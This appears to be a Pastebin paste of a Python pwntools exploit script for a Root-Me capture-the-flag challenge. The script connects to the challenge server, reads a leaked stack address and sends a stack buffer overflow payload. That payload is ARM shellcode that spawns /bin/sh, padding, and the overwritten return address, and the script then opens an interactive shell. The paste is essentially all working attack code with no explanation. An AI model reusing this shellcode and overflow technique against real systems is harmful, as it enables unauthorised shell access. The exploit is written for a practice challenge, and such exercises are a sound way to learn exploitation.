Advertisement
kar4747

ss.py

Jan 24th, 2018
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. #-*- coding: utf-8 -*-
  2.  
  3. from pwn import *
  4. from struct import pack
  5.  
  6. r = remote("challenge04.root-me.org",61045)
  7. s1 = r.readuntil(":\n")
  8. print (s1)
  9.  
  10.  
  11. r.sendline("A"*100)
  12. s2 = r.readuntil(":\n")
  13. print (s2)
  14.  
  15.  
  16.  
  17. Adresse = s2[2:12]
  18. A1 = Adresse[6:8]
  19. A2 = Adresse[4:6]
  20. A3 = Adresse[2:4]
  21. A4 = Adresse[0:2]
  22. #print (A1)
  23. #print (A2)
  24. #print (A3)
  25. #print (A4)
  26. AdresseShellcode = "0x"+str(A4)+str(A3)+str(A2)+str(A1)
  27. print (AdresseShellcode)
  28.  
  29.  
  30.  
  31. r.sendline("y")
  32. s3 = r.readuntil(":\n")
  33. print(s3)
  34.  
  35.  
  36.  
  37. adresse = int(AdresseShellcode,16)
  38. p = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"+"A"*137
  39. p += pack('I',adresse)
  40. r.sendline(p)
  41.  
  42.  
  43. s3 = r.readuntil(":\n")
  44. print (s3)
  45.  
  46.  
  47. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement